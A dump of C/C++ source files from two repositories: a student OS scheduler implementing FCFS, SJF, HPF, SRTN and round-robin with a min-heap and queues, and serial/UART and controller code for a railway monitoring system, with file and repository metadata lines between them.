temp.id, temp.priority); break; case SRTN: //here we insert the id of the process and the data that we want to sort based on it Min_Heap_add(heap, temp.id, temp.runtime); break; } } // this function is responsible for scheduling the processes based on the chosen algo void schedule() { //check if current running process finished remove it and remove its ((block)) change its state if (cur_pro != -1) { if (pcb[cur_pro]->remaining_time <= 0) { int curclk = getClk(); Waiting += (curclk - pcb[cur_pro]->arrival_time) - (pcb[cur_pro]->running_time); running_process += pcb[cur_pro]->running_time; Weighted_Turnaround_time += (curclk - pcb[cur_pro]->arrival_time) / (1.0 * pcb[cur_pro]->running_time); pcb[cur_pro]->state = FINISHED; //___________print___________ printstate(cur_pro); free(pcb[cur_pro]); pcb[cur_pro] = NULL; cur_pro = -1; total_in_pcb--; } } switch (algo_typ) { case FCFS: // no current running process then we should get the first process arrived which is the top on in the queue if (cur_pro == -1) { // if queue is not empty take the top process start it and change its state if (queue_empty(q) == false) { cur_pro = queue_front(q); queue_pop(q); pcb[cur_pro]->state = STARTED; kill(pcb[cur_pro]->pid, SIGCONT); //___________print___________ printstate(cur_pro); } } break; case SJF: // no current running process then we should get the process with shortest running time which is the root of the heap if (cur_pro == -1) { // if heap is not empty take the root process start it and change its state if (Min_Heap_empty(heap) == false) { cur_pro = Min_Heap_getMin(heap); pcb[cur_pro]->state = STARTED; kill(pcb[cur_pro]->pid, SIGCONT); //___________print___________ printstate(cur_pro); } } break; case HPF: // if heap is not empty take the root process as it's the one with highest priority if (Min_Heap_empty(heap) == false) { int id = Min_Heap_getMin(heap); if (cur_pro == -1) { // if no current running process, just run the one we got from the ready list and change its state cur_pro = id; pcb[cur_pro]->state = pcb[cur_pro]->state == ARRIVED ? STARTED : RESUMED; kill(pcb[cur_pro]->pid, SIGCONT); //___________print___________ printstate(cur_pro); } else if (pcb[id]->priority < pcb[cur_pro]->priority) { // if there a process running but the one we took from the ready list has higher priority than the running one // so stop the running process ,insert it in the heap and run the other process pcb[cur_pro]->state = STOPPED; kill(pcb[cur_pro]->pid, SIGSTOP); Min_Heap_add(heap, cur_pro, pcb[cur_pro]->priority); //___________print___________ printstate(cur_pro); kill(pcb[id]->pid, SIGCONT); pcb[id]->state = pcb[id]->state == ARRIVED ? STARTED : RESUMED; cur_pro = id; //___________print___________ printstate(cur_pro); } else { // otherwise we can't run the process we got from the heap(ready list) so return it back to the heap Min_Heap_add(heap, id, pcb[id]->priority); } } break; case SRTN: // if heap is not empty take the root process as it's the one with shortest remaining time if (Min_Heap_empty(heap) == false) { int id = Min_Heap_getMin(heap); if (cur_pro == -1) { // if no current running process, just run the one we got from the ready list and change its state cur_pro = id; pcb[cur_pro]->state = pcb[cur_pro]->state == ARRIVED ? STARTED : RESUMED; kill(pcb[cur_pro]->pid, SIGCONT); //___________print___________ printstate(cur_pro); } else if (pcb[id]->remaining_time < pcb[cur_pro]->remaining_time) { // if there a process running but the one we took from the ready list has higher priority than the running one // so stop the running process ,insert it in the heap and run the other process pcb[cur_pro]->state = STOPPED; kill(pcb[cur_pro]->pid, SIGSTOP); Min_Heap_add(heap, cur_pro, pcb[cur_pro]->remaining_time); //___________print___________ printstate(cur_pro); kill(pcb[id]->pid, SIGCONT); pcb[id]->state = pcb[id]->state == ARRIVED ? STARTED : RESUMED; cur_pro = id; //___________print___________ printstate(cur_pro); } else { // otherwise we can't run the process we got from the heap(ready list) so return it back to the heap Min_Heap_add(heap, id, pcb[id]->remaining_time); } } break; case RR: // we can only run a new process if there is no current running process or the current running process has finished its quantum if (queue_empty(q) == false && (cur_pro == -1 || cur_pro_quantum == 0)) { if (cur_pro != -1) { // if there a process running but it has finished its quantum time // so stop the running process ,insert it in the queue pcb[cur_pro]->state = STOPPED; kill(pcb[cur_pro]->pid, SIGSTOP); queue_push(q, cur_pro); //___________print___________ printf("\nscheduler: iam stopping one here"); printstate(cur_pro); } // if we reach this part of the code this means either no running process or its quantum has finished // so we ought to get the front process from the queue cur_pro = queue_front(q); queue_pop(q); kill(pcb[cur_pro]->pid, SIGCONT); pcb[cur_pro]->state = pcb[cur_pro]->state == ARRIVED ? STARTED : RESUMED; //___________print___________ printf("\nscheduler: iam starting or resumming one here"); printstate(cur_pro); cur_pro_quantum = quantum; } break; } } // this integer holds the last value of the clock which helps us to keep track of the change of the clock int prevtime = 0; // this function returns boolean represents whether the time has changed or not and updates the prevtime variable // it also changes the running processs remaining time and updates the current running process remaining quantum bool timestep() { if (getClk() == prevtime) return false; prevtime = getClk(); if (cur_pro != -1) pcb[cur_pro]->remaining_time--; if (cur_pro_quantum > 0) cur_pro_quantum--; return true; } // this function is responsible for printing some process into the output file void printstate(int id) { int curclk = getClk(); int waiting_time = (curclk - pcb[id]->arrival_time) - (pcb[id]->running_time - pcb[id]->remaining_time); char *hash[] = {"arrived", "started", "stopped", "resumed", "finished"}; fprintf(log_out, "At\ttime\t%d\tprocess\t%d\t%s\tarr\t%d\ttotal\t%d\tremain\t%d\twait\t%d", curclk, id, hash[pcb[id]->state], pcb[id]->arrival_time, pcb[id]->running_time, pcb[id]->remaining_time, waiting_time); if (pcb[id]->state == FINISHED) { int TA = curclk - pcb[id]->arrival_time; double WTA = TA / (1.0 * pcb[id]->running_time); fprintf(log_out, "\tTA\t%d\t%.2f", TA, WTA); } fprintf(log_out, "\n"); fflush(log_out); } // free everything void clearResources(int signum) { //TODO Clears all resources in case of interruption // if(!allarrived) // msgctl(msgqid,IPC_RMID,(struct msqid_ds*)0); printf("\nscheduler: terminating...\n"); destroyClk(true); exit(0); } // prints .pref file void print_pref() { double Avg_Wta = Weighted_Turnaround_time / total_num_pro; double Avg_Waiting = Waiting / total_num_pro; int CPU_utilization = running_process * 100 / (getClk() - 1); // initialize Scheduler.pref log_out_pref = fopen("scheduler.pref", "w"); fprintf(log_out_pref, "CPU utilization = %d%%\n", CPU_utilization); fflush(log_out_pref); fprintf(log_out_pref, "Avg WTA = %.2f \n", Avg_Wta); fflush(log_out_pref); fprintf(log_out_pref, "Avg Waiting = %.2f \n", Avg_Waiting); fflush(log_out_pref); } //allocate: prints memory.log file void print_mem(int id) { int from=0,to=0; int curclk=getClk(); fprintf(log_mem,"At\ttime\t%d\tallocated\t%d\tbytes\tfor process\t%d\tfrom\t%d\tto\t%d\n", curclk,pcb[id]->memsize,id,from,to); } <file_sep>/process.c #include "headers.h" /* Modify this file as needed*/ int remainingtime; int main(int agrc, char *argv[]) { int myid=atoi(argv[1]); remainingtime=atoi(argv[2]); initClk(); printf("\nprocess%d at %d: welcome\n",myid,getClk()); fflush(stdout); //TODO The process needs to get the remaining time from somewhere //remainingtime = ??; int prevtime=getClk(); while (remainingtime > 0) { // remainingtime = ??; if(prevtime!=getClk()) { prevtime++; remainingtime--; } } printf("process%d at %d: goodbye",myid,getClk()); destroyClk(false); return 0; } <file_sep>/datastructures/generatorQueue.c #include<stdio.h> #include<stdlib.h> #include"../headers.h" ///////////////////////////// struct process { int id; int arrival; int runtime; int priority; int memsize; }; /////////////////////////// struct node { struct process *proc; struct node *next; }; ///////////////////////////// struct queue { int length; struct node *front; struct node *tail; }; ///////////////////////////// void initialize(struct queue *q) { q->length = 0; q->front = NULL; q->tail = NULL; } ///////////////////////////// bool isempty(struct queue *q) { return (q->length == 0); } ///////////////////////////// void enqueue(struct queue *q, struct process *p) { struct node *temp = malloc(sizeof(struct node)); temp->proc= malloc(sizeof(struct process)); temp->proc->id=p->id; temp->proc->arrival=p->arrival; temp->proc->runtime=p->runtime; temp->proc->priority=p->priority; temp->proc->memsize=p->memsize; temp->next = NULL; if(q->length!=0) { q->tail->next = temp; q->tail = temp; } else { q->front = q->tail = temp; } q->length++; } ///////////////////////////// struct process* dequeue(struct queue *q) { if(q->length!=0) { struct node *tmp=malloc(sizeof(struct node)); tmp->proc= malloc(sizeof(struct process)); struct process *p= malloc(sizeof(struct process)); p->id= q->front->proc->id; p->arrival= q->front->proc->arrival; p->runtime= q->front->proc->runtime; p->priority= q->front->proc->priority; p->memsize=q->front->proc->memsize; tmp = q->front; q->front = q->front->next; q->length--; free(tmp); return(p); } return NULL; } ///////////////////////////// struct process* peek(struct queue *q) { if(!(isempty(q))) { struct process *p= malloc(sizeof(struct process)); p->id= q->front->proc->id; p->arrival= q->front->proc->arrival; p->runtime= q->front->proc->runtime; p->priority= q->front->proc->priority; p->memsize=q->front->proc->memsize; return(p); } return NULL; } ////////////////////////////// void display(struct node *head) { if(head == NULL) { printf("NULL\n"); } else { printf("process id %d arrivaltime %d runtime %d priority %d\n", head->proc->id,head->proc->arrival,head->proc->runtime,head->proc->priority); display(head->next); } } ///////////////////////////// <file_sep>/datastructures/Min-Heap.c #include <stdio.h> #include <stdlib.h> #include "../headers.h" // struct represents a single node of the elements of the heap typedef struct { int id; int data; // we sort based on this }heap_node; // struct represents a Min heap typedef struct { heap_node *Arr; int size; } Min_Heap; // this function create and initialize a new heap Min_Heap* Min_Heap_init(int size) { Min_Heap * heap=malloc(sizeof(Min_Heap)); heap->size = 0; heap->Arr=malloc(sizeof(heap_node)*size); return heap; } // this function swap two elements inside a heap array void Min_Heap_swap(Min_Heap* heap,int u,int v) { heap_node temp=heap->Arr[u]; heap->Arr[u]=heap->Arr[v]; heap->Arr[v]=temp; } // this function heapifies upwards from a certain index in the heap array void Min_Heap_heapup(Min_Heap *heap ,int indx) { if(indx==0 || heap->Arr[(indx-1)/2].data < heap->Arr[indx].data)return; Min_Heap_swap(heap,indx,(indx-1)/2); Min_Heap_heapup(heap,(indx-1)/2); } // this function adds an element to the heap to the right position void Min_Heap_add(Min_Heap *heap, int id,int data) { heap_node element; element.id=id;element.data=data; heap->Arr[heap->size] = element; Min_Heap_heapup(heap,heap->size); heap->size++; } // this function heapifies downwards from a certain index in the heap array void Min_Heap_heapdown(Min_Heap* heap,int indx) { int left=2*indx+1; int right=2*indx+2; int smallest=left; if(left>=heap->size) return; if(right<heap->size && heap->Arr[right].data < heap->Arr[left].data) smallest=right; if(heap->Arr[indx].data < heap->Arr[smallest].data) return; Min_Heap_swap(heap,indx,smallest); Min_Heap_heapdown(heap,smallest); } // this function returns the root of the heap (Min element) and removes it from the heap int Min_Heap_getMin(Min_Heap *heap) { int id=heap->Arr[0].id; heap->size--; Min_Heap_swap(heap,0,heap->size); Min_Heap_heapdown(heap,0); return id; } // this function checks whether the heap is empty or not bool Min_Heap_empty(Min_Heap*heap) { return heap->size==0; } // this function free the heap void Min_Heap_destroy(Min_Heap*heap) { free(heap->Arr); free(heap); } // void main() // { // Min_Heap*heap=Min_Heap_init(6); // Min_Heap_add(heap,1,10); // Min_Heap_add(heap,2,20); // Min_Heap_add(heap,3,40); // Min_Heap_add(heap,4,50); // Min_Heap_add(heap,5,30); // Min_Heap_add(heap,6,60); // while(!Min_Heap_empty(heap)) // { // printf("\n%d\n",Min_Heap_getMin(heap)); // } // } <file_sep>/code/RR.c // #include "../datastructures/schedulerQueue.c" // #include "scheduler.c" // int fixed_time = 5; // int main() // { // queue *q = queue_init(); // int count = 0; // int clk = 0; // queue_push(q, 5); // while (true) // { // if (queue_empty) // { // break; // } // if (pcb[0]->remaining_time == 0) // { // node *temp = queue_pop(q); // pcb[0]->Turn_around_time = clk - pcb[0]->arrival_time; // queue_push(q, pcb[1]->remaining_time); // count = 0; // continue; // } // if (count == fixed_time) // { // node *temp = queue_pop(q); // if (pcb[temp->data]->remaining_time != 0) // { // queue_push(q, pcb[temp->data]->remaining_time); // } // pcb[temp->data]->remaining_time--; // count = 0; // continue; // } // count++; // } // }
1e3ddacae8200591528e17d11d2eaa43bc9fb5f1
[ "C" ]
7
C
YousefAtefB/OS_Scheduler
d4bdec407fb5f017624685ed9f23c04bada94937
c9e8a784ad20036445428f2c3719077b1a34404a
refs/heads/main
<repo_name>kritsanaraka/project1<file_sep>/database/seeders/DatabaseSeeder.php <?php namespace Database\Seeders; use App\Models\User; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\Hash; class DatabaseSeeder extends Seeder { /** * Seed the application's database. * * @return void */ public function run() { $user = new User(); $user -> name ="<NAME>"; $user -> username ="admin"; $user -> email ="<EMAIL>"; $user -> password = <PASSWORD>::<PASSWORD>("<PASSWORD>"); $user -> save(); } }
51a697c00661456f56503167d6486027b6be4427
[ "PHP" ]
1
PHP
kritsanaraka/project1
94838cace338f1f3aef8e31a14c096174e667992
89ff7805afcf8b8274c9e47c656ef770744bffa6
refs/heads/master
<file_sep>package com.javahangout.core; public class TestApp { private int x =10; private String password="<PASSWORD>"; public int add ; public void add(){ } public static void main(String[] a){ System.out.println("Welcome to IntelliJ world"); } /*public int sub(int x, int y){ x =x; return x+y; }*/ int foo(int a) { int b = 12; if (a == 1) { return b; } return b; // Noncompliant } public void test(){ int myVariable =2; switch (myVariable) { case 1: // foo(); System.out.println(""); break; case 2: // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ? System.out.println(""); default: System.out.println(""); if(true){System.out.println();}else{System.out.println();} break; } } }
c2f21af9932d431a7f240319f39bbd31bc9e88d9
[ "Java" ]
1
Java
veereshnaidu/TestRepo
d701457bfa8fe8593d6355c100e042ca4ced64de
f3331ebfed5557541073bcb0a1dec0d05cbfab7e
refs/heads/master
<repo_name>boris-r-v/STDC<file_sep>/Makefile all: clean remake install: ./run make install clean: ./run make clean veryclean: ./run make veryclean remake: ./run make remake <file_sep>/Uart/src/UartImpl.h // This is CRTC generator created UartImpl.h file. [ workstation None at Thu Apr 10 17:25:46 2008 ] #ifndef _stdc_UartImpl_h_ #define _stdc_UartImpl_h_ #include "UartImplBase.hh" #include "riku.h" #include <crtc/mut.h> #include <time.h> namespace stdc{ class UartImpl: public UartImplBase{ public: UartImpl( const crtc::ItemContext* ); ~UartImpl(); public: virtual void activate__( const char* id ); virtual void applyAttrs(); void on(std::string, CORBA::Long, CORBA::Long, CORBA::Long, std::string, CORBA::Long ); void off(std::string, CORBA::Long ); void ion_ground(std::string, CORBA::Long); void ion_direct(std::string, CORBA::Long); void ion_undirect(std::string, CORBA::Long); void ion_u50_500v(std::string, CORBA::Long); void ion_off(std::string, CORBA::Long); bool ion_is500v(std::string, CORBA::Long); //проверяет какое напряжение ключено на ион bool uns4i_checkIsol( std::string ); //проверяет включена ли изоляция на УНС double uns4i_getIval( std::string, CORBA::Long ); //возвращает ток утечки через изоляциию с унс void uns4i_amplAuto(std::string, CORBA::Long); void uns4i_amplHandOn(std::string, CORBA::Long); void uns4i_amplHandOff(std::string, CORBA::Long); void uns4i_Isol( std::string, bool ); void uns4i_setIsolVal( std::string, CORBA::Double, CORBA::Long ); Exchange* uns4i_Exch( std::string, CORBA::Long ); Gui_Send* uns4i_Gui( std::string ); PA_Data* unsPA_Gui(std::string); Module_Fails* uns4i_mfails( std::string module);//Возворащает структуру с данными по сбоям const char* uns4i_mPlace( std::string module);//Возвращает место модуля на стативах по монтажу ulong uns4i_mAddr( std::string module );//Возвращает адрес модуля в кодовой линии stdc::Udo::Udo_Request* udo_getReq( std::string module );//Возвращает пакет запроса модулей УДО, АК, ИОН. int ak_getType( std::string module );//Возвращает тип АК, (см enum ak_type); /* bool diag_get( std::string, bool& ); * текущее состояние объекта отвечает (1) - не отвечает(0), записано будет в параметр переданный по ссылке * вернет true - если такой модуль будет найден в адаптации, false - если не найден */ bool diag_get( std::string, bool& ); int getChan4Ak(std::string); //возвращает какой паре изолированных каналов 12/34 принадлежит АК. const char* getUns4Ak(std::string); //возвращает какому УНС принадлежит АК. const char* getIon4Ak(std::string); //возвращает имя ИОН который подключен к этому АК. stdc::uns_type getUnsType4Ak(std::string); //возвращает тип УНС frc or trc, по имени АК, или можно сразу имя УНС сунуть void getAllUnsName(std::map<std::string, stdc::uns_type> &); //возвращает список имен всех зарегистрированных УНС const char* getStartTime(); //возвращает строку с временем начала работы системы /*Региструет УНС на обновление данных после опроса модулей, получает Id УНС*/ /*Функцуии для прямого управления ключами АК и ИОН, (включить/выключить ключ)*/ void grKey(std::string, CORBA::Long, CORBA::Long ); void eiKey(std::string, CORBA::Long, CORBA::Long ); void indKey(std::string, CORBA::Long, CORBA::Long, CORBA::Long ); private: char _start_time[100]; typedef std::vector <stdc::Serial*> Serial_vector; Serial_vector __serial; int ser;//счетчик кол-ва последовательных интерфейсов std::string uns;//счетчик кол-ва УНС на данном последовательном интерфейсе typedef struct Uns_Serial{ int serial; //порядковый номер последовательного интерфейса, начиная с 0 std::string uns; //ID УНС int chan; //номер бокового разъема УНС Х1-0, Х2-1, к которому подключен этот АК. т.е.принадлежность к 12 или 34 изолированным каналм //-1 это сам УНС Uns_Serial(int _ser, std::string _uns, int _chan):serial(_ser),uns(_uns),chan(_chan){}; } Uns_Serial; typedef std::map <std::string, Uns_Serial*> Modules2Uns_Serial; //сохраняет принадлежность АК или ИОН к УНС <"имя АК", Uns_Serial> Modules2Uns_Serial mod2uns_ser; Modules2Uns_Serial::iterator f1; }; }; #endif //_stdc_UartImpl_h_ <file_sep>/Docs/net_mpk/test_net_mpk.cpp #include <unistd.h> #include "net_mpk.h" #include "ns_net.h" int main () { ns_net * net = make_client_multicast (14350, "224.1.1.1"); ts_packet digital_packet("Digital", 8); ts_packet analog_packet("Analog", 8); unsigned int counter = 1; while (1) { unsigned gr = 1; /* digital */ char * tzk = digital_packet.get_tzk(); char * gr_state = tzk + (gr - 1)*2; char * gr_counter = gr_state + 1; *gr_state = (1 << counter - 1); (*gr_counter)++; net->snd_packet(digital_packet.get_packet(), digital_packet.get_packet_size()); /* analog */ tzk = analog_packet.get_tzk(); float * value = reinterpret_cast <float *>(tzk + (gr - 1)*4); *value = counter; net->snd_packet(analog_packet.get_packet(), analog_packet.get_packet_size()); if (++counter > 8) counter = 1; sleep(1); } return 0; } <file_sep>/Controller/src/ControllerImpl.h // This is CRTC generator created ControllerImpl.h file. [ workstation None at Fri Nov 14 11:24:53 2008 ] #ifndef _stdc_ControllerImpl_h_ #define _stdc_ControllerImpl_h_ #include "ControllerImplBase.hh" #include <map> #include <list> #include <string> #include <stdc/UartImpl.h> #include "net_mpk.h" #include "multicast.h" #include <stdc/Ilimits.h> namespace stdc{ class ControllerImpl: public ControllerImplBase{ public: ControllerImpl( const crtc::ItemContext* ); ~ControllerImpl(); virtual void activate__( const char* id ); virtual void applyAttrs(); virtual void circleIn (CORBA::Long _l); virtual void circleIsolIn (CORBA::Long _l); virtual void poll__(); //переключение циклических телеизмерений virtual void step__(); //отсылка информации в ротоколе КАС ДУ virtual void isolValue(CORBA::Double); //получает расчитаное значение изоляции virtual void active(CORBA::Long ); virtual void createTZK(); virtual void createChanel(crtc::ItemNode*); typedef struct stdItem { const char *ak; const char *side; const char *key; const char *mode; const char *fasa; const char *unit; //название объекта которым оперирует система std::string label; //название объекта измерения которое видит пользователь crtc::ItemImpl *sp; bool isIsol; //1-измеряем изоляцию по этому объекту, 0-не измеряем double value[2];// массив хранения значений VAC(VDC) в [0], и изоляция, в [1], при выполнении циклических ТИ /*в _in_item - в этом поле храниться значение изоляции по объекту, если расчитывалось * в _in_Uitem - в этом поле храниться значение VAC, или VDC, зависит от значения поля source */ const char *source; //какую величину читать для получения значения VDC, VAC, etc. bool isolFault; //флаг отказа по изоляции порог взят из Технологии обслуживания устройств(стр.330) 1кОм на 1В рабочего напряжения stdItem (const char *s1, const char *s2, const char *s3, const char *s4, const char *s5, const char *s6, const char *s7, crtc::ItemImpl* ii, bool isol, const char *_source ): ak(s1), side(s2), key(s3), mode(s4), unit(s5), fasa(s6), label(s7), sp(ii), isIsol(isol), source(_source) {value[0] = 0.0; value[1] = 0.0; isolFault = 1; }; stdItem (const char *s1, const char *s2, const char *s3, const char *s4, const char *s5, const char *s6, const char *s7, crtc::ItemImpl* ii, bool isol ): ak(s1), side(s2), key(s3), mode(s4), unit(s5), fasa(s6), label(s7), sp(ii), isIsol(isol), source("VAC") {value[0] = 0.0; value[1] = 0.0; isolFault = 1; }; stdItem (const char *s1, const char *s2, const char *s3, const char *s4, const char *s5, const char *s6, const char *s7, crtc::ItemImpl* ii ): ak(s1), side(s2), key(s3), mode(s4), unit(s5), fasa(s6), label(s7), sp(ii), isIsol(0), source("VAC") {value[0] = 0.0; value[1] = 0.0; isolFault = 1; }; stdItem (const char *s1, const char *s2, const char *s3, const char *s4, const char *s5, const char *s6, const char *s7 ): ak(s1), side(s2), key(s3), mode(s4), unit(s5), fasa(s6), label(s7), sp(NULL), isIsol(0), source("VAC") {value[0] = 0.0; value[1] = 0.0; isolFault = 1; }; }StdItem; typedef std::map<std::string, stdc::ControllerImpl::StdItem*> StdItems; StdItems _in_items; StdItems::iterator circleItem, viewItem, circleIsolIter; private: /*Проверяет что этот бит ТЗК флаг отказа по изоляции ret=true, если нет то ret = false*/ bool checkIsolFault(std::string unit, bool& bb); const crtc::ItemContext* _cntx_; stdc::UartImpl *uart; stdc::Ilimits *limits; /*Для циклического режима*/ void circleViewData(); void circleNext(); void circleIsolOnItem(); void circleIsolNext(); /*Для передачика по сети*/ NetTransport *_in_mcast; /*Последовательность групп для аналоговой ТЗК*/ typedef struct { std::string name; //имя импульса int tval; //откуда брать данные для напряжений value[0], для изоляции value[1], -1 int impl, group; //номер импульса и группы } impulseData; typedef std::list <impulseData> ImpulsesTS; typedef std::list <ImpulsesTS> GroupsTS; typedef struct TZKTS{ std::string name; std::string type; GroupsTS tzk; TZKTS(): name(""), type("") {}; TZKTS(const char* _n, const char* _t): name(_n), type(_t) {}; void addGroup(const ImpulsesTS _in_impl){tzk.push_back( _in_impl );}; } TZKTS; typedef std::list<TZKTS> TablesTS; TablesTS _in_tsTables; /*Сохранение значений в файл и чтение их при загрузке*/ void readData(); void saveData(); struct tempData { char name[100]; float volt; float isol; tempData( ): volt(0), isol(0){}; tempData( const char* _s, float _v, float _i ): volt(_v), isol(_i) { snprintf(name, sizeof(name), "%s", _s ); }; tempData( std::string _s, float _v, float _i ): volt(_v), isol(_i) { snprintf(name, sizeof(name), "%s", _s.c_str() ); }; }; /*Синхронизация аналоговых данных по сети*/ NetTransport *_in_sync_server, *_in_sync_client; crtc::Th *_in_thread; static void* loopF(void* ); void loopM(); void prepareSync(); void syncData(); }; }; #endif //_stdc_ControllerImpl_h_ <file_sep>/Uart/src/UartImpl.cpp // This is CRTC generator created UartImpl.cpp file. [ workstation None at Thu Apr 10 17:25:46 2008 ] #include "UartImpl.h" #include <iostream> stdc::UartImpl::UartImpl( const crtc::ItemContext* _cntx ): UartImplBase( _cntx ){ uns = ""; ser = 0; _in_debug = 0; _in_delay=1000; } stdc::UartImpl::~UartImpl(){ Modules2Uns_Serial::iterator begin = mod2uns_ser.begin(); Modules2Uns_Serial::iterator end = mod2uns_ser.end(); while (begin != end){ delete begin->second; } for (int i; i<__serial.size(); i++) delete __serial[i]; } void stdc::UartImpl::activate__( const char* ){ // stage one activation (after creation ) } void stdc::UartImpl::applyAttrs(){ crtc::ItemNode::applyAttrs(); // stage two activation ( after dom tree building done ) // std::cout<<"_in_id: "<<getId__()<<"\n"; time_t _t; time(&_t); //сохранили время начала работы struct tm _tm; localtime_r(&_t, &_tm); snprintf (_start_time, sizeof(_start_time), "%.2d:%.2d:%.2d %.2d/%.2d/%.4d ", _tm.tm_hour, _tm.tm_min, _tm.tm_sec, _tm.tm_mday, _tm.tm_mon+1, _tm.tm_year+1900); ItemNode* uart = firstChild; ItemNode* serial = 0; ItemNode* chan = 0; ItemNode* mod = 0; while ( uart ){ if (!strcmp(uart->getAttributeText("type"), "serial") ){ std::cout<<"Uart find: Serial"; stdc::Serial * s = new Serial (uart->getAttributeText("tty"), atol(uart->getAttributeText("speed") ), (int)_in_debug, _in_delay ); __serial.push_back( s ); //std::cout<<"\t\t!!!!! _serial_counter: "<<__serial.size()<<", ser: "<<ser<<"\n"; //s->setTID( omni_thread::create(s->ThreadSerial, s ) ); if (uart->hasChildNodes()){ serial = uart->firstChild; while( serial ){ //находим УНС if (!strcmp(serial->getAttributeText("type"), "uns") ){ std::cout<<" Serial find: UNS "; if (!strcmp(serial->getAttributeText("subtype"), "frc") )//определяем что за УНС ФРЦ __serial[ser]->__uns[serial->getAttributeText("name")]=new UnsFrc(atol(serial->getAttributeText("addr") ), serial->getAttributeText("name"), atol(serial->getAttributeText("speed") ), serial->getAttributeText("place") ); if (!strcmp(serial->getAttributeText("subtype"), "trc") )//Если УНС ТРЦ __serial[ser]->__uns[serial->getAttributeText("name")]=new UnsTrc(atol(serial->getAttributeText("addr") ), serial->getAttributeText("name"), atol(serial->getAttributeText("speed") ), serial->getAttributeText("place") ); if (!strcmp(serial->getAttributeText("subtype"), "pa") )//Если УНС ПА __serial[ser]->__uns[serial->getAttributeText("name")]=new UnsPa(atol(serial->getAttributeText("addr") ), serial->getAttributeText("name"), atol(serial->getAttributeText("speed") ), serial->getAttributeText("place"), atof(serial->getAttributeText("offset") ), atof(serial->getAttributeText("coefficient") ),atoi(serial->getAttributeText("current_type") ) ); uns = serial->getAttributeText("name"); mod2uns_ser[serial->getAttributeText("name")]=new Uns_Serial(ser, uns, -1);//сохранили УНС в списке модулей для знания чего вообще есть __serial[ser]->__mlife[serial->getAttributeText("name")] = 0; //сохранили УНС в списке модулей для контоля исправности if (serial->hasChildNodes()){ //находим разделение на изолированные каналы 12/34 chan = serial->firstChild; while (chan){ if (!strcmp(chan->getAttributeText("type"), "12") ){ std::cout<<" isolated channel 1/2\n"; if (chan->hasChildNodes()){ mod = chan->firstChild; while (mod){ if (!strcmp(mod->getAttributeText("type"),"ak") ){//нашли АК std::cout<<" Uns find AK "; __serial[ser]->__uns.find(uns)->second->_aks[0][mod->getAttributeText("name")] = new Ak(atol(mod->getAttributeText("addr") ), mod->getAttributeText("name"), ak6d2, atol(mod->getAttributeText("speed") ), mod->getAttributeText("place") ) ; mod2uns_ser[mod->getAttributeText("name")]=new Uns_Serial(ser, uns, 0); __serial[ser]->__mlife[mod->getAttributeText("name")] = 0; //сохранили AK в списке модулей для контоля исправности } if (!strcmp(mod->getAttributeText("type"),"ion") ){//нашли ИОН std::cout<<" Uns find ION "; __serial[ser]->__uns.find(uns)->second->_ions[mod->getAttributeText("name")] = new Ion(atol(mod->getAttributeText("addr") ), mod->getAttributeText("name"), atol(mod->getAttributeText("speed") ), mod->getAttributeText("place") ); mod2uns_ser[mod->getAttributeText("name")]=new Uns_Serial(ser, uns, 0); __serial[ser]->__mlife[mod->getAttributeText("name")] = 0; //сохранили ION в списке модулей для контоля исправности } mod = mod->nextSibling; } } } if (!strcmp(chan->getAttributeText("type"), "34") ){ std::cout<<" isolated channel 3/4\n"; if (chan->hasChildNodes()){ mod = chan->firstChild; while (mod){ if (!strcmp(mod->getAttributeText("type"),"ak") ){//нашли АК std::cout<<" Uns find AK "; __serial[ser]->__uns.find(uns)->second->_aks[1][mod->getAttributeText("name")] = new Ak(atol(mod->getAttributeText("addr") ), mod->getAttributeText("name"), ak6d2, atol(mod->getAttributeText("speed") ), mod->getAttributeText("place") ) ; mod2uns_ser[mod->getAttributeText("name")]=new Uns_Serial(ser, uns, 1); __serial[ser]->__mlife[mod->getAttributeText("name")] = 0; //сохранили AK в списке модулей для контоля исправности } if (!strcmp(mod->getAttributeText("type"),"ion") ){//нашли ИОН std::cout<<" Uns find ION "; __serial[ser]->__uns.find(uns)->second->_ions[mod->getAttributeText("name")] = new Ion(atol(mod->getAttributeText("addr") ), mod->getAttributeText("name"), atol(mod->getAttributeText("speed") ), mod->getAttributeText("place") ); mod2uns_ser[mod->getAttributeText("name")]=new Uns_Serial(ser, uns, 1); __serial[ser]->__mlife[mod->getAttributeText("name")] = 0; //сохранили ION в списке модулей для контоля исправности } mod = mod->nextSibling; } } } if (!strcmp(chan->getAttributeText("type"), "1234") ){ std::cout<<" isolated channel 1/2/3/4\n"; if (chan->hasChildNodes()){ mod = chan->firstChild; while (mod){ if (!strcmp(mod->getAttributeText("type"),"ak") ){//нашли АК std::cout<<" Uns find AK "; __serial[ser]->__uns.find(uns)->second->_aks[0][mod->getAttributeText("name")] = new Ak(atol(mod->getAttributeText("addr") ), mod->getAttributeText("name"), ak3d4, atol(mod->getAttributeText("speed") ), mod->getAttributeText("place") ) ; mod2uns_ser[mod->getAttributeText("name")]=new Uns_Serial(ser, uns, 0); __serial[ser]->__mlife[mod->getAttributeText("name")] = 0; //сохранили AK в списке модулей для контоля исправности } mod = mod->nextSibling; } } } chan=chan->nextSibling; } } } serial=serial->nextSibling; } } ser++;//увеличи счетчик последовательных интерфейсов } uart=uart->nextSibling; } //Запускаем цикл опроса по последовательному порту. for (int i=0; i<__serial.size(); i++){ if (__serial[i]->isGoodSerial() ){ __serial[i]->setTID( omni_thread::create(__serial[i]->ThreadSerial, __serial[i] ) ); } } } void stdc::UartImpl::on(std::string ak, CORBA::Long side, CORBA::Long key, CORBA::Long mode, std::string _title, CORBA::Long _Phdop ){ //Получили запрос на переключание ОИ f1 = mod2uns_ser.find(ak); //нашли какому Serial, УНС, принадлежит АК ak_map::iterator fnd, begin, end; if (f1 != mod2uns_ser.end()){ fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].find(ak); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].end() ){ //выключить все ключи в этом изолированном канале begin =__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].begin(); end =__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].end(); while (begin != end ){ begin->second->offChan( side ); if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getIsol()) begin->second->onEi( side, 1 ); begin++; } fnd->second->onInd( side, key, mode ); //послали запрос на включение индивидуального ключа на выбранном АК fnd->second->onGr( side, 1 ); //послали запрос на включение группового ключа на этом АК if 